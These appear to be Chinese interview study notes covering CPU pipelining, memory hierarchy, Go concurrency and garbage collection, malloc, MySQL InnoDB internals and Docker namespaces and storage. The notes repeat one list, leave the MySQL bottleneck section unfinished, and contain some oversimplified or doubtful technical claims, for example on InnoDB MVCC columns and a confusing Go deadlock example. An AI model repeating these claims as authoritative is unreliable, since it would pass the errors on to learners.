描述指令级并行性和如何通过流水线来实现它。 + +指令级并行性 (ILP) 和流水线 +指令级并行性 (ILP):这是一种技术,它允许在任何给定的CPU周期中多条指令同时在不同的执行阶段。目的是在一个时钟周期内提高多条指令的吞吐量。 + +流水线:流水线是实现ILP的主要方法。就像一个工厂流水线,每个阶段负责一个特定的任务。在CPU中,指令被分解成多个阶段,例如:取指、译码、执行、访存和写回。当第一条指令进入“执行”阶段时,下一条指令可以进入“译码”阶段,同时再下一条指令可以进入“取指”阶段,依此类推。 + +> 解释数据冒险和控制冒险,并讨论如何缓解这些问题。 + +数据冒险 +数据冒险:这是当一个指令依赖于前一指令的结果时发生的。例如,考虑以下两条指令: + +```vbnet +I1: ADD R1, R2, R3 +I2: SUB R4, R1, R5 +``` +I2 依赖于 I1 的结果。如果两者都很接近并试图在流水线中连续执行,那么当 I1 还没有完成其操作并更新 R1 时,I2 可能会读取一个过时的、不正确的值。 + +缓解策略: +流水线停顿 (Stalling):这会暂时停止流水线,直到数据依赖性得到解决。 +数据前推 (Data Forwarding):在这里,直接从一个功能单元的输出提供数据给另一个功能单元的输入,而不等待数据首先写回寄存器。 + +控制冒险 +控制冒险:这是在流水线中由于控制指令(如分支)造成的延迟。例如,当一个条件跳转指令进入执行阶段并决定跳转目标时,后面的指令可能已经进入了流水线,但它们可能是基于错误的预测而获取的。 + +缓解策略: +分支预测 (Branch Prediction):CPU可以预测分支是否取得,并据此预先取指。现代CPU拥有高度复杂的分支预测器来准确地做这件事。 +分支目标缓冲器 (Branch Target Buffer, BTB):它缓存了最近的分支指令地址和其目标地址,从而加速跳转指令的执行。 +延迟分支 (Delayed Branching):编译器或处理器可以尝试填充分支后的一两个指令位置,使其与原始程序的意图一致。这些填充指令称为“延迟分支槽”。 + +> 当我们说代码的局部性时,我们是在说什么?它为什么重要? + +当我们谈论代码的局部性时,我们通常指的是程序访问数据和/或指令的模式。局部性主要有两种类型: + +时间局部性 (Temporal Locality):如果一个项被访问,那么在不久的将来它很可能再次被访问。 +空间局部性 (Spatial Locality):如果一个项被访问,那么它附近的项在不久的将来很可能会被访问。 +局部性原则是现代计算机系统的基础,特别是存储层次结构,如缓存、主存和磁盘。一个程序的高度局部性意味着它重复地访问相同的数据或指令,或者访问邻近的位置。 + +为什么重要:高度的局部性可以使得计算机系统更加有效地使用缓存。当一个数据项从主存加载到缓存中时,如果存在空间局部性,那么其附近的数据也会被加载。这意味着随后的访问可能会直接从缓存中获取数据,而不是更慢的主存。因此,提高局部性可以显著地提高程序的性能。 + +循环展开 +循环展开 (Loop Unrolling) 是一种编程技巧,其中循环的迭代次数被减少,并且每次迭代中的操作数量增加,以减少循环控制的开销。 + +例如,考虑以下的循环: + +```c +for (int i = 0; i < 100; i++) { + A[i] = B[i] + C[i]; +} +``` +一个简单的2倍循环展开可能看起来像这样: + +```c +for (int i = 0; i < 100; i+=2) { + A[i] = B[i] + C[i]; + A[i+1] = B[i+1] + C[i+1]; +} +``` + + +## 存储层次结构: + +> 解释SRAM和DRAM的区别及其各自在计算机系统中的应用。 + +SRAM 和 DRAM 的区别 +SRAM (Static Random-Access Memory): + +存储机制:SRAM 使用触发器来存储每一位数据,通常需要6个或更多的晶体管来构造一个存储单元。 +速度:SRAM 比 DRAM 快。 +成本:由于 SRAM 需要更多的晶体管,因此它的成本更高。 +功耗:SRAM 在静态模式下(即当它不在活动访问中时)的功耗较低。 +应用:SRAM 通常用作处理器的缓存(例如 L1、L2、L3 缓存)由于它的高速特性。 +DRAM (Dynamic Random-Access Memory): + +存储机制:DRAM 使用一个晶体管和一个电容来存储每一位数据。电容的充电和放电状态表示两个不同的数据位。 +速度:DRAM 比 SRAM 慢。 +成本:DRAM 相对便宜,因为每个单元只需要一个晶体管和一个电容。 +功耗:DRAM 需要定期刷新来维持其存储的数据,这增加了功耗。 +应用:主存储(RAM条)主要使用 DRAM,因为它的成本较低和较大的容量。 + + +> 什么是虚拟内存?它如何帮助提高程序的性能和功能? + +虚拟内存是操作系统的一个抽象层。 +可以访问大于物理内存容量的地址空间。 + +底层实现: + +1 页面分配:虚拟内存把进程的地址空间分为大小相同的页,每一页都有唯一的标识符。进程需要新的内存页的时,操作系统为他分配未使用的物理页,并映射到对应的物理地址。 +2 换页:如果物理内存不足,那么操作系统会通过换页机制将不常用的页面换出,如果进程需要访问被换出的页面,就会触发缺页异常,操作系统会重新从磁盘读取出物理内存并更新该页面的映射关系。 +3 页面保护:虚拟内存为每个页面设置访问权限和保护权限,只读/可执行。 +4 TLB 管理。TLB(Translation Lookaside Buffer)是硬件缓存加速虚拟地址到物理地址的映射。 + +## 并发和并行: + +> 描述一个临界区,并解释为什么我们需要原子操作来处理它。 + +临界区是程序中一个代码段,其中的指令修改共享资源或变量。当多个线程或进程同时访问这个代码段时,由于访问模式不可预知,可能会导致数据不一致或不可预期的结果。为了确保数据的一致性和正确性,一次只能有一个线程或进程访问临界区。 + +为什么需要原子操作: +原子操作是不可中断的操作,一旦开始就会连续完成,不会被其他操作所中断。使用原子操作来处理临界区可以确保对共享资源或变量的更改不会在中途被其他线程或进程中断,从而避免了由于中断造成的数据不一致或错误。原子操作提供了一种在没有使用锁的情况下安全地修改共享数据的方法。 + +```go +package main + +import ( + "fmt" + "sync" +) + +var ( + counter int + mu sync.Mutex +) + +func increment() { + mu.Lock() + counter++ + mu.Unlock() +} + +func main() { + var wg sync.WaitGroup + + for i := 0; i < 1000; i++ { + wg.Add(1) + go func() { + defer wg.Done() + increment() + }() + } + + wg.Wait() + fmt.Println(counter) +} +``` +counter 是一个全局变量,多个goroutine都试图修改它。 +increment 函数中的 counter++ 就是一个临界区,因为这是修改共享资源的地方。 +使用 sync.Mutex 来保护这个临界区。当一个goroutine在执行 counter++ 时,其他试图访问此部分的goroutine会被阻塞,直到第一个goroutine完成并释放互斥锁。 + +> 解释死锁是什么以及如何避免它。 + +死锁: +死锁是一个状态,其中两个或多个线程或进程互相等待其他进程释放资源,导致它们都无法继续执行。例如,进程A持有资源1并等待资源2,而进程B持有资源2并等待资源1,这样它们就会互相等待,导致死锁。 + +> 如何避免死锁: + +资源一次性分配:要求进程在开始执行前申请其所需的所有资源。虽然这种方法可以避免死锁,但它可能会导致资源的低效使用。 +资源顺序分配:为资源设定一个顺序,并要求所有进程按照这个顺序申请资源。这样,循环等待条件不会满足,从而避免了死锁。 +预请求策略:在分配资源之前检查资源请求是否会导致死锁。如果可能导致死锁,则不分配资源。 +死锁检测和恢复:允许系统进入死锁状态,但使用算法定期检测死锁。当检测到死锁时,采取措施(如终止或回滚某个进程)来恢复系统。 +避免死锁的方法根据系统的需求和特性来选择。在某些情况下,预防可能比检测和恢复更为合适,而在其他情况下,则可能相反。 + + +如何避免死锁: + +使用Go语言为例,我们来详细探讨如何实现上述的死锁避免策略: + +资源一次性分配: + +在Go中,我们可以使用通道(channels)来同步和传递数据。要实现一次性资源分配,可以在goroutine启动之前,先分配所有必要的资源。 +这种策略可能会导致资源利用率低下,因为一些资源可能在其生命周期中大部分时间都是闲置的。 + +```go +resourceA := make(chan struct{}, 1) +resourceB := make(chan struct{}, 1) + +resourceA <- struct{}{} // Allocate resource A +resourceB <- struct{}{} // Allocate resource B + +go func() { + // Ensure we get both resources before doing any work + <-resourceA + <-resourceB + // Do work... + // Return resources + resourceA <- struct{}{} + resourceB <- struct{}{} +}() + +go func() { + // Ensure we get both resources before doing any work + <-resourceA + <-resourceB + // Do work... + // Return resources + resourceA <- struct{}{} + resourceB <- struct{}{} +}() +``` +每个goroutine在执行其工作之前都会尝试获取资源A和B。由于资源只能被一个goroutine持有,这样可以确保在任何时候都可以只有一个goroutine访问这两个资源。 + +这种方法的问题是,它可能会导致资源利用不足,因为一个goroutine在等待另一个资源释放时,可能会长时间持有一个资源。但是,它确实避免了死锁,因为没有goroutine会在持有一个资源同时等待另一个资源。 + + +资源顺序分配: +为互斥锁(mutexes)或其他资源设置一个明确的顺序。 +总是按照同一顺序请求这些资源。 +例如,如果有两个互斥锁 mu1 和 mu2,则总是先锁定 mu1,再锁定 mu2。 + +```go +mu1.Lock() +mu2.Lock() +// critical section +mu2.Unlock() +mu1.Unlock() +``` + +预请求策略: +这在Go中较为困难,因为Go的并发原语(如通道和锁)并没有内建这种功能。 +但可以使用其他方法或第三方库来实现,如检查即将进行的锁请求是否可能导致死锁。 + +死锁检测和恢复: +```shell +fatal error: all goroutines are asleep - deadlock! +``` +Go的标准库并没有提供死锁检测功能,但在开发模式下,Go的运行时会检测到某些死锁情况并停止程序。 +实现死锁恢复通常需要应用程序的特定逻辑和定期的健康检查。 +当检测到死锁时,可以通过重启进程或释放一些资源来尝试恢复。 + +## 动态内存分配: + +> 当C程序中调用malloc时,背后发生了什么? + +当在C程序中调用malloc()时,会发生以下一系列的事件和操作: + +请求大小判断:首先,malloc会检查请求的大小。如果请求的大小为0,malloc可能返回NULL或一个唯一的指针值。此行为取决于具体的实现。 + +查找空闲块:malloc会在堆(heap)中查找一个足够大的未使用的内存块来满足请求。堆是进程内存中的一个区域,专门用于动态内存分配。 + +分割块:如果找到的空闲块大小远超过所需的大小,那么这个块可能会被分割成两个块——一个正好满足所需大小,另一个包含剩余的空闲内存。 + +更新元数据:malloc管理的堆中每个块前面都有一个小的元数据区域,记录该块的大小和状态(例如,是否被使用)。当块被分配或释放时,这些元数据会被更新。 + +返回指针:malloc返回一个指针,该指针指向分配块的第一个字节,不包括前面的元数据区域。 + +初始化内存:malloc不会初始化分配的内存块。这意味着这块内存中的数据是未定义的。如果需要一个已经初始化的内存块,可以使用calloc,它会为分配内存并将其初始化为零。 + +堆扩展:如果堆中没有足够的空闲空间来满足malloc的请求,操作系统可能会被要求增加堆的大小。这通常通过brk或mmap系统调用完成。 + +错误处理:如果malloc无法分配所请求的内存,它会返回NULL。这可能是由于物理内存不足、达到进程的内存限制或堆碎片化导致的。 + +堆碎片化:随着时间的推移,堆中可能出现许多小的空闲块,这些块由于太小而不能被有效利用,这种现象称为堆碎片化。为了解决这个问题,有些系统提供了realloc函数,它可以调整已分配块的大小,并可能在需要时移动块以减少碎片化。 + +要注意的是,malloc和其他内存分配函数如calloc和realloc的具体实现可能因操作系统和C库的不同而异,但上述描述提供了一种常见的、高级的视角。 + +> 解释内存碎片化,并讨论如何减少它。 + +内存碎片化是指内存空间的非连续性使用,使得大量的连续内存分配变得困难,即使有足够的总空闲内存。内存碎片化通常分为两种:外部碎片化和内部碎片化。 + +外部碎片化:这是由于释放内存块后留下的小块空闲区域引起的,这些空闲区域可能过小,无法满足后续的内存分配请求,尽管这些小块空闲区域的总和可能很大。 + +内部碎片化:这是当分配的内存块比实际请求的大小要大时出现的。例如,如果内存分配器总是分配大小为2的幂的块,那么一个请求为150字节的分配可能会得到一个256字节的块,导致106字节的内部碎片化。 + +如何减少内存碎片化: + +合并空闲块:一旦内存被释放,尝试合并相邻的空闲块,从而创建更大的连续空闲区域。 + +使用固定大小的分配器:对于已知大小的对象,使用专门的分配器,这可以减少内部碎片化。 + +分离大小的分配:将对象按大小分类,并为每一类分配特定的内存池。这样,大对象和小对象不会相互影响,从而减少碎片化。 + +使用垃圾收集:一些高级语言使用垃圾收集来自动管理内存,这可以包括碎片整理,即重新排列对象以减少碎片化。 + +延迟分配:如果可能,延迟内存分配直到真正需要,这可以减少不必要的内存占用和碎片化。 + +使用内存池:预先分配一个大块内存,并从中为小对象手动分配内存。这可以减少外部碎片化,尤其是对于生命周期相似的对象。 + +避免频繁分配/释放:如果知道某些内存会频繁分配和释放,考虑使用数据结构,如自由列表,来重用这些内存块。 + +首次适配、最佳适配、最坏适配策略:这些都是不同的内存分配策略,各有优劣,可以根据具体情况选择最合适的策略。例如,“最佳适配”策略会寻找最小的空闲块来满足请求,这可能导致更大的外部碎片化,但减少内部碎片化。 + +> 具体说说GO垃圾恢复的过程中,是如何避免清除掉使用的内存? + +Go的垃圾回收器采用了并发的、三色标记-扫描的方法。下面是Go的垃圾回收过程和如何确保不误删正在使用的内存的详细描述: + +三色标记:这个方法使用了三种颜色标记:白色、灰色和黑色。 + +白色: 这些是可能的垃圾对象,即还没有被确认为可达的对象。 +灰色: 这些对象是可达的,但它们引用的对象还没有被检查。 +黑色: 这些对象是可达的,并且它们引用的所有对象都已被检查。 +标记阶段: + +初始时,所有对象都标为白色。 +垃圾回收器从根对象(根对象是从全局变量、线程、堆栈等明确可达的位置开始的对象)开始遍历,并将这些对象标记为灰色。 +从这些灰色对象开始,垃圾回收器遍历它们所引用的对象。这些新访问到的对象会被标记为灰色,并且原始的灰色对象会变成黑色。这个过程会一直继续,直到没有灰色对象为止。 +清扫阶段:此时,任何仍标为白色的对象都被视为不可达的,因此可以安全地回收。而所有黑色的对象都被认为是仍然在使用的,不会被清除。 + +并发性:Go的垃圾回收器并不是停止-世界的(尽管有时候可能需要短暂地暂停)。这意味着应用程序的Goroutines在大部分垃圾回收过程中都可以继续运行。这使得Go的垃圾回收过程相对高效,因为它不会阻塞整个程序。 + +写屏障:由于垃圾回收器是并发的,所以必须确保在标记过程中,应用程序的修改不会影响正在进行的工作。为此,Go使用了写屏障,这是一个技术手段,确保在垃圾回收过程中对内存的写入操作不会导致对象的颜色状态被错误地更改。 + +> 具体说说Go使用的写屏障的工作原理,他是如何确保在垃圾回收过程中对内存的写入操作不会导致对象的颜色状态被错误地更改。 + +写屏障(write barrier)是垃圾回收中用于处理并发标记问题的技术。在Go中,由于垃圾回收过程是并发进行的,所以在标记阶段和应用程序的执行存在重叠。为了确保这个并发执行的正确性,Go引入了写屏障。 + +写屏障的基本思想是拦截对内存的写入操作,并采取一些额外的行动以确保垃圾回收的并发标记过程的正确性。 + +Go的并发三色标记算法中,写屏障确保以下不变式: + +黑色不变式:黑色对象只能引用其他黑色或灰色对象,但不能引用白色对象。 +这是如何工作的: + +当一个黑色对象要引用一个白色对象时(即一个已经被检查的对象指向一个尚未被检查的对象),这个白色对象会被染成灰色。这意味着即使该对象是新分配的或之前是不可达的,它现在也被视为可达,并将在之后的扫描中被考虑。 +当黑色对象的引用发生变化时,写屏障就会介入。例如,如果有一个指针从黑色对象指向白色对象,这个白色对象会立即变成灰色,这样它在之后就不会被错误地回收。 +这个方法确保了即使在并发的情况下,新的或被重新分配的对象也不会被误删。黑色对象的修改会被写屏障捕获,并采取相应的行动以确保正确的标记。 + +总的来说,写屏障是并发垃圾回收中用于确保内存正确性的重要机制,它确保了在标记过程中,任何对对象引用的更改都会被正确处理,从而确保只有真正不再使用的对象会被回收。 + +## 数据库 + +### 索引和查询优化: + +> 解释B树索引与哈希索引的区别,并描述它们各自的应用场景。 + +B树索引: +结构: B树(或其变种,如B+树)是一个平衡的树形数据结构,其中每个节点包含多个关键字,并且关键字在每个节点中都是有序的。 +查找效率: 因为B树是平衡的,所以查找、插入和删除的时间复杂度都是O(log n)。 +应用场景: 适用于需要范围查询或排序的场景。大多数关系型数据库系统默认使用B树或其变种作为其主索引结构。 + +哈希索引: +结构: 哈希索引使用哈希表,其中关键字的哈希值决定了其在表中的位置。 +查找效率: 对于点查询,哈希索引通常具有O(1)的查找效率,但在哈希冲突较多的情况下,效率可能会降低。 +应用场景: 适用于高速点查询。不适用于范围查询或需要排序的场景,因为哈希索引不保留关键字的顺序。 + +> 当使用`EXPLAIN`命令时,期望看到哪些关键输出?它们如何帮助优化查询? + +使用EXPLAIN命令的关键输出: + +当使用EXPLAIN命令(例如在MySQL中)分析查询时,可能会看到以下关键输出: + +type: 显示了用于检索行的方法,如“const”(直接查找)、“ref”(通过引用查找)、“range”(范围查找)、“full table scan”等。 +possible_keys: 显示可能使用的索引。 +key: 显示实际选择的索引。 +key_len: 使用的索引的长度。 +rows: 估计需要检查的行数。 +Extra: 提供查询的额外信息,如是否使用了文件排序或是否进行了索引查找。 + +如何帮助优化查询: +通过EXPLAIN的输出,可以确定: +是否选择了最优索引。 +是否需要创建新的索引。 +查询是否进行了全表扫描,这通常会降低查询性能。 +是否存在其他可能的优化点,如不必要的文件排序等。 +通过这些信息,可以调整查询结构或数据库结构来获得更好的性能。 +in +type: 显示了用于检索行的方法,如“const”(直接查找)、“ref”(通过引用查找)、“range”(范围查找)、“full table scan”等。 +possible_keys: 显示可能使用的索引。 +key: 显示实际选择的索引。 +key_len: 使用的索引的长度。 +rows: 估计需要检查的行数。 +Extra: 提供查询的额外信息,如是否使用了文件排序或是否进行了索引查找。 + + +> 描述InnoDB和MyISAM的主要差异。通常在哪些场景下使用它们?解释InnoDB的MVCC并发控制是如何工作的。 + +事务支持: +InnoDB: 支持事务(ACID兼容)。它使用行级锁来支持并发事务,并提供了提交、回滚等事务相关的操作。 +MyISAM: 不支持事务。它使用表级锁,限制了并发性能。 + +锁定级别: +InnoDB: 使用行级锁,并提供了外键约束。 +MyISAM: 使用表级锁。 + +数据持久性: +InnoDB: 使用了写前日志(write-ahead logging)来保证数据持久性,这使得在系统崩溃后可以恢复数据。 +MyISAM: 不提供这样的数据持久性保障。 + +存储结构: +InnoDB: 以聚集方式存储数据,其中主键的顺序决定了数据的物理存储顺序。 +MyISAM: 存储其数据和索引在两个独立的文件中。 + +全文索引: +InnoDB: 在较新版本的MySQL中,InnoDB也支持全文索引。 +MyISAM: 原生支持全文索引。 +空间使用: + +InnoDB: 通常会使用更多的磁盘空间来存储数据和索引。 +MyISAM: 由于它的数据压缩方法,通常比InnoDB更加紧凑。 + + +应用场景: + + +InnoDB: 在需要事务支持、数据完整性、并发写操作、外键约束的场景下,InnoDB是首选。 +MyISAM: 当读操作远多于写操作,或者对数据持久性要求不高的情况下,可以考虑使用MyISAM。还有,如果需要全文索引且MySQL版本较旧,MyISAM可能是更好的选择。 + +> InnoDB的MVCC并发控制: + +MVCC,即多版本并发控制,是InnoDB用于实现隔离级别的一种技术。主要目标是允许多个事务同时读写数据,而无需等待其他事务完成,从而提高并发性。 + +版本化: 当事务修改数据时,InnoDB不会立即覆盖旧数据,而是为修改的数据创建一个新版本。同时,旧版本数据保留并加上一个有效时间戳。 + +读取操作: 当事务读取数据时,InnoDB会提供对应的版本数据,以保证事务的隔离性。例如,在“可重复读”隔离级别下,事务始终看到自己开始时的数据状态,即使此后有其他事务修改了数据。 + +垃圾回收: 旧版本的数据,在没有事务再需要它们后,会被自动清理。 + +通过MVCC,InnoDB可以提供非阻塞性读操作,即读操作不会被写操作阻塞,写操作也不会被读操作阻塞。这大大提高了数据库的并发性能。 + +具体来说: +MVCC通过在每个行记录后面保存两个隐藏的列来实现,这两个隐藏的列分别是:创建版本号(CREATED)和删除版本号(DELETED)。这两个版本号对应的是事务的版本号,即事务ID。每开始一个新的事务,事务ID就会自动递增。 + +MVCC,即多版本并发控制,是由数据库系统自身实现的,并不需要在业务程序层面进行任何特别的处理。具体来说,当在InnoDB中执行一个事务时,InnoDB会自动为这个事务创建一个独特的事务ID,并使用这个ID来处理数据行的版本控制。 + +在执行SELECT语句时,InnoDB会根据MVCC的规则来决定哪些行是可见的,也就是说哪些行的数据是属于这个事务的一致性视图的。当执行INSERT、UPDATE或DELETE操作时,InnoDB也会根据MVCC的规则来更新数据行的版本信息。 + +总的来说,MVCC是由InnoDB内部实现并自动处理的,它能在提高并发性能的同时,保证事务的隔离性和一致性。这对于业务程序来说是透明的,也就是说业务程序不需要知道数据库是如何通过MVCC来处理并发事务的。 + +> 具体说说InnoDB的事物回滚具体是怎么做的? + +InnoDB的事务回滚是基于其多版本并发控制(MVCC)和写前日志(Write-Ahead Logging, WAL)的设计来实现的。以下是其事务回滚的主要步骤和原理: + +写前日志 (WAL): 当一个事务进行更改操作时,这些更改首先被写入到重做日志(redo log)中,而不是直接写入到数据文件。重做日志保证了在系统故障的情况下,更改可以被重新应用(redo)。 + +未提交的数据变更: 当事务修改数据时,InnoDB不会立刻覆盖原始数据,而是存储新版本的数据。每个数据版本都会有关联的事务ID,用于标识哪个事务创建了该版本。 + +回滚段 (Undo Log): 对于每一次的修改,InnoDB都会在undo log中保存原始数据的一个副本。如果需要回滚事务,InnoDB可以使用这些日志来恢复数据到其原始状态。 + +开始回滚: 当发出回滚命令或因某些原因(如约束违反)事务需要被回滚时,InnoDB会开始回滚进程。 + +使用Undo Log进行回滚: InnoDB会查找与该事务相关的所有undo log记录,并按照相反的顺序(即从最新到最旧)应用它们,以将数据恢复到事务开始之前的状态。 + +清除日志: 一旦回滚完成,与该事务相关的undo log记录会被标记为可释放,之后在适当的时候会被清除。 + +事务状态变更: 最后,事务的状态会被标记为“已回滚”。 + +需要注意的是,回滚操作是一个代价较高的操作,尤其是当事务包含大量的数据更改时。因此,在设计应用时,应该尽量确保事务的原子性,避免不必要的回滚。 + +## 那么就请举例:假如我要 开启事务 然后 update tbl_user set name="newName" where id =1 最后回滚 ,请按照实际MYSQL 处理的顺序一步一步说说这个过程中都发生了什么? + +当在MySQL的InnoDB存储引擎中执行上述操作时,以下是详细的步骤和发生的事件: + +开始事务: 通过命令 START TRANSACTION; 或 BEGIN; 开启一个新的事务。此时,InnoDB会创建一个新的事务ID。 + +锁定行: 当执行UPDATE tbl_user SET name="newName" WHERE id=1; 语句时,InnoDB会尝试获取对应行(id=1的那行)的排他锁。如果其他事务没有锁定这一行,那么锁会被立即授予。 + +写前日志 (WAL): 更改先不直接写入数据文件,而是写入重做日志(redo log)。这确保了系统崩溃后,可以通过redo log恢复数据。 + +生成回滚信息 (Undo Log): 在执行更新操作之前,原始的数据(id=1行的name字段的旧值)会被写入到undo log中。 + +执行更新: 在内存中的缓冲池中,对应的行数据被更新为name="newName"。 + +回滚事务: 如果执行了ROLLBACK;命令,InnoDB会开始回滚进程。 + +使用Undo Log进行回滚: InnoDB会查找与该事务相关的undo log记录。找到id=1这一行的原始name值,并在内存中的缓冲池中将其恢复。 + +释放锁: id=1这一行的排他锁会被释放,其他等待的事务(如果有的话)可以继续对这一行进行操作。 + +事务结束: 此时,事务已经回滚并结束。 + +清理操作: 在之后的某个时间点,MySQL可能会执行一些清理操作,例如将已经处理完的重做日志和不再需要的undo log记录进行清理。 + +这就是在InnoDB存储引擎中执行上述操作时所发生的详细步骤。不过,实际上在数据库内部,可能还有很多其他的微观操作和优化。但这应该提供了一个高层次的、逐步的视图。 + +> 服务器优化**:如何确定MySQL服务器的最佳配置?描述一些常见的MySQL性能瓶颈及其解决方法。 + +如何确定MySQL服务器的最佳配置: + +基准测试: 使用工具如sysbench或mysqlslap来模拟实际的工作负载,测试不同的配置下数据库的性能。 + +监控: 使用如MySQL Enterprise Monitor、Percona Monitoring and Management或Zabbix等工具来监控服务器的性能。 + +分析日志: 使能并定期查看慢查询日志,以找出需要优化的查询。 + +考虑硬件: 根据I/O、CPU、RAM和网络的需求来调整配置。例如,如果I/O是瓶颈,考虑使用SSD。 + +内存配置: 调整innodb_buffer_pool_size,它是InnoDB存储引擎用于缓存表数据和索引的缓冲池。 + +并发性: 根据服务器的并发需求调整max_connections。 + +复制和分片: 对于高读取负载,考虑使用读取副本;对于大规模数据,考虑分片。 + +描述一些常见的MySQL性能瓶颈及其解决方法: + +磁盘I/O瓶颈: +解决方法: 使用SSD + + +## 虚拟化和容器化: + +对虚拟机技术如KVM、Xen的理解。 +容器技术的理解,尤其是Docker、Kubernetes、容器网络和存储方案。 + + +> 请简述容器技术与虚拟机技术的主要区别。 + +隔离级别:虚拟机技术为每个应用提供了一个完整的操作系统副本,而容器技术则在同一个操作系统内部隔离应用进程。 + +资源开销:由于虚拟机需要运行完整的操作系统,它们通常需要更多的资源。而容器只需运行应用和其依赖,因此通常更轻量级。 + +启动时间:容器几乎可以实时启动,而虚拟机可能需要几分钟来启动。 + +管理和版本控制:容器技术如Docker提供了镜像管理,使得应用的打包、分发和版本控制变得简单。虚拟机通常没有这样的内置机制。 + +硬件抽象:虚拟机通过虚拟化技术模拟硬件,而容器则直接在宿主机的操作系统上运行。 + +> Docker的主要组件有哪些? + +Docker Engine:核心组件,负责创建、运行和管理容器。 + +Docker Image:容器的静态快照,包含应用及其所有依赖。可以通过Dockerfile创建,并存储在Docker Hub或其他容器仓库中。 + +Docker Container:Docker镜像的运行实例。可以启动、停止、移动和删除。 + +Dockerfile:用于自动创建Docker镜像的脚本文件。 + +Docker Compose:一个工具,允许用户使用YAML文件定义和运行多容器的Docker应用。 + +Docker Hub/Registry:存储Docker镜像的仓库。Docker Hub是公共的,但也可以设置私有的Docker Registry。 + +Docker Swarm:Docker的原生集群管理和编排工具。 + +> 能具体说说Docker是如何运行起来一个容器的?并且仔细说说这个过程中一步一步都用到了什么? + +Docker Client 和 Docker Daemon: + +当执行如 docker run 这样的命令时,实际上是在与Docker客户端进行交互。 +Docker客户端将这个命令转发给Docker守护进程(Daemon),守护进程是真正管理容器的组件。 +Docker Image: + +在运行容器之前,Docker需要一个镜像。如果本地没有所需的镜像,Docker会从配置的仓库(如Docker Hub)中拉取。 +镜像是容器运行的基础,它包含了运行应用所需的所有文件、库和依赖。 +容器创建: + +Docker Daemon使用镜像创建一个容器。容器是镜像的运行实例,但它有自己的生命周期和文件系统状态。 + +网络配置: +Docker为新容器配置网络。默认情况下,Docker使用一个私有的虚拟网络桥接所有容器,但用户可以配置其他网络模式或自定义网络。 + +存储: +Docker为容器提供一个可写的文件层,这层叠加在镜像的只读层之上。这意味着容器可以写入或修改文件,而不会影响基础镜像。 + +```shell +Docker使用了一种称为“Union File System”(联合文件系统)的技术来实现其存储。这是一个层次化的、轻量级的、可堆叠的文件系统,允许文件和目录的透明叠加。这种设计使得Docker镜像和容器可以高效地共享存储,同时还能保持隔离。 + +以下是Docker存储的工作原理的详细描述: + +镜像层: + +当创建一个Docker镜像,每一个指令(例如,每一行Dockerfile中的命令)都会创建一个新的层。这些层是只读的。 +例如,当从一个基础镜像安装软件或添加文件时,每个这样的操作都会在现有的层上添加一个新的只读层。 + +容器层: +当从一个Docker镜像启动一个容器时,Docker会在这些只读的镜像层的顶部添加一个可写层,称为“容器层”。 +所有对容器的文件系统的修改(例如,写入新文件、修改现有文件、删除文件等)都会在这个可写层中进行。 + +隔离和持久性: +由于容器层是独立于基础镜像层的,所以容器内的任何更改都不会影响基础镜像或其他从同一镜像启动的容器。 +但是,这个容器层是临时的。当容器被删除时,这个层也会被删除,除非提交这些更改为一个新的镜像。 + +存储驱动: +Docker支持多种联合文件系统,如Overlay2、aufs、btrfs、zfs等。这些都被称为“存储驱动”。不同的存储驱动可能有不同的性能和功能特点。 +Overlay2是Docker的推荐存储驱动,因为它提供了良好的性能和稳定性。 + +数据卷和绑定挂载: +虽然容器层是临时的,但Docker提供了其他方法来持久化存储,如数据卷(volumes)和绑定挂载(bind mounts)。 +这些方法允许在容器外部存储数据,并在多个容器之间共享数据。 +``` +命名空间和控制组(cgroups): +Docker使用Linux的命名空间来隔离容器的进程、网络、用户和文件系统。 + +```shell +PID(进程)命名空间: + +这个命名空间确保每个容器都有自己独立的进程空间。这意味着一个容器内的进程不能看到其他容器的进程。 +当Docker启动一个新容器时,容器内的第一个进程(通常是指定的启动命令)的PID为1,就像它是整个系统的第一个进程一样。 + +NET(网络)命名空间: +每个容器都有自己的网络命名空间,这意味着每个容器都有自己的网络设备、IP地址、路由表等。 +Docker默认为每个容器创建一个虚拟以太网接口,并连接到一个私有的虚拟网络桥,但用户可以自定义网络配置。 + +IPC(进程间通信)命名空间: +这个命名空间隔离了进程间的通信资源,如信号量和消息队列,确保容器之间的进程不能直接通信。 + +UTS(Unix时间共享)命名空间: +这个命名空间允许每个容器有自己的主机名和域名,与宿主机和其他容器隔离。 + +USER(用户)命名空间: +用户命名空间允许容器有自己的用户和组ID。这意味着容器内的root用户可能与宿主机上的非root用户映射,从而增加了安全性。 + +MNT(挂载点)命名空间: +这个命名空间确保每个容器都有自己独立的文件系统,由Docker镜像提供。容器可以挂载新的文件系统或修改现有的挂载点,而不会影响其他容器或宿主机。 +当Docker启动一个新容器时,它会为该容器创建上述命名空间的新实例。这些命名空间与宿主机和其他容器完全隔离,从而为每个容器提供了一个看似独立的运行环境。 +要使用docker inspect和grep命令查看容器的各种命名空间信息,可以按照以下步骤操作: + +``` + +```shell +PID(进程)命名空间: +docker inspect <容器ID或名称> | grep "Pid" + +NET(网络)命名空间: +查看容器的网络接口和IP地址: +docker inspect <容器ID或名称> | grep -E "IPAddress|MacAddress" + +IPC(进程间通信)命名空间: +docker inspect <容器ID或名称> | grep "IpcMode" + +UTS(Unix时间共享)命名空间: +查看容器的主机名: +docker inspect <容器ID或名称> | grep "Hostname" + +USER(用户)命名空间: +docker inspect <容器ID或名称> | grep "UsernsMode" + +MNT(挂载点)命名空间: +查看容器的挂载点: +docker inspect <容器ID或名称> | grep "Mounts" +``` + +```shell +数据卷(Volumes): +工作原理:数据卷是Docker宿主机上的特殊目录,由Docker管理,可以直接挂载到容器中。与容器的文件系统不同,卷是独立于容器生命周期的,即使容器被删除,卷中的数据仍然存在。 +创建和使用:可以在运行容器时使用-v或--volume选项创建和挂载数据卷。 + +docker run -v /path/in/container my-image +优点:数据卷可以在多个容器之间共享和重用,支持数据备份、迁移和恢复,而不依赖于容器的生命周期。此外,卷通常存储在高性能的文件系统上,如overlay2,并提供了一致的性能。 + +绑定挂载(Bind Mounts): +工作原理:绑定挂载允许将宿主机上的任何目录或文件挂载到容器中。与数据卷不同,绑定挂载依赖于宿主机的文件系统结构。 +创建和使用:与数据卷类似,可以在运行容器时使用-v或--volume选项进行绑定挂载,但需要指定宿主机的路径。 +docker run -v /path/on/host:/path/in/container my-image +优点和用途:绑定挂载非常适合开发场景,因为它允许直接在宿主机上修改代码或配置,而这些更改会立即反映到容器中。但它也有缺点,因为它直接依赖于宿主机的文件系统和目录结构,可能导致跨机器的不一致性。 